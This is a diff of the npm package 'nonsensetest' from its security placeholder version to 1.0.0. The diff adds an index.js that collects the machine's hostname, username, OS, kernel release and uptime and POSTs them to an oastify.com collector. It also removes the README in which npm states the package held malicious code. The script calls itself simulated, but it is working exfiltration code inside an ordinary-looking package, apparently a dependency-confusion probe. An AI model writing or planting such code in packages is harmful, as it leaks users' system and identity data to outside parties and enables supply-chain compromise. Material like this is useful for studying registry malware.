nonsensetest 0.0.1-security → 1.0.0

package/index.js

@@ -0,0 +1,36 @@
+const os = require("os");
+const https = require("https");
+
+console.log("🚨 Simulated malicious package installed!");
+
+// Collect basic, non-sensitive metadata
+const data = JSON.stringify({
+  hostname: os.hostname(), // Unique to device
+  username: os.userInfo().username, // Non-sensitive username
+  platform: os.platform(), // OS (e.g. 'darwin', 'linux')
+  arch: os.arch(), // Architecture (e.g. 'x64', 'arm64')
+  release: os.release(), // Kernel version
+  uptime: os.uptime(), // How long the system has been running
+  timestamp: new Date().toISOString(),
+});
+
+const options = {
+  hostname: "x20n5qjkqgxa7edgm7jh67h54wanyet2i.oastify.com",
+  path: "/machine-check", // use any path
+  method: "POST",
+  headers: {
+    "Content-Type": "application/json",
+    "Content-Length": data.length,
+  },
+};
+
+const req = https.request(options, (res) => {
+  console.log(`✅ Webhook sent: ${res.statusCode}`);
+});
+
+req.on("error", (error) => {
+  console.error("❌ Error sending data:", error);
+});
+
+req.write(data);
+req.end();

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "nonsensetest",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.0",
+  "description": "",
+  "license": "ISC",
+  "author": "",
+  "type": "commonjs",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=nonsensetest for more information.